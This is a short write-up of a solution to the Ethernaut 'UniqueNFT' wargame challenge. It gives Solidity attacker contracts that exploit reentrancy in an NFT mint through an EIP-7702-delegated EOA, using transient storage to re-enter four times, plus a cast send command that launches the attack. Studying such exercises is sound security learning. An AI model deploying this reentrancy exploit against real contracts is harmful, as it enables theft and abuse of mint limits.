Reference: Ethernaut — UniqueNFT : Solved by @sidarth16
This page shows the improvement of the final exploit. by 0xcBE4Fa4369B5AaEC428756dB8fa4A96E29E205e6
// ......
contract ReentrancyAttacker is IERC721Receiver {
IUniqueNFT public immutable target;
uint256 public entered;
// ......
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external returns (bytes4)
{
entered += 1;
if (entered == 1) {
// Reenter the mint function once
target.mintNFTEOA();
}
return IERC721Receiver.onERC721Received.selector;
}
}EIP-7702 is a temporary delegate for EOA, BUT it effect the storage of EOA. In above code, if you has some data at slot0(variable entered), entered == 1 always return false.
Transient storage is a key feature introduced in the Cancun upgrade and defined by EIP-1153.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
interface IUniqueNFT {
function mintNFTEOA() external returns (uint256);
}
contract ExploitTransient {
address public immutable target;
// Key slot for transient storage, chosen arbitrarily to avoid collisions
uint256 private constant T_COUNT_SLOT = 0x1337;
constructor(address _target) {
target = _target;
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external returns (bytes4) {
uint256 count;
assembly {
count := tload(T_COUNT_SLOT)
}
// Logic: We need 5 NFTs
// After the 1st Mint succeeds and triggers the callback, count=0, we reenter.
// After the 2nd Mint succeeds and triggers the callback, count=1, we reenter.
// After the 3rd Mint succeeds and triggers the callback, count=2, we reenter.
// After the 4th Mint succeeds and triggers the callback, count=3, we reenter.
// After the 5th Mint succeeds and triggers the callback, count=4, stop.
if (count < 4) {
assembly {
tstore(T_COUNT_SLOT, add(count, 1))
}
IUniqueNFT(target).mintNFTEOA();
}
return 0x150b7a02;
}
}
// cast send INSTANCE_ADDRESS "mintNFTEOA()" --private-key $PRIVATE_KEY --rpc-url $RPC --auth ExploitTransient_ADDRESS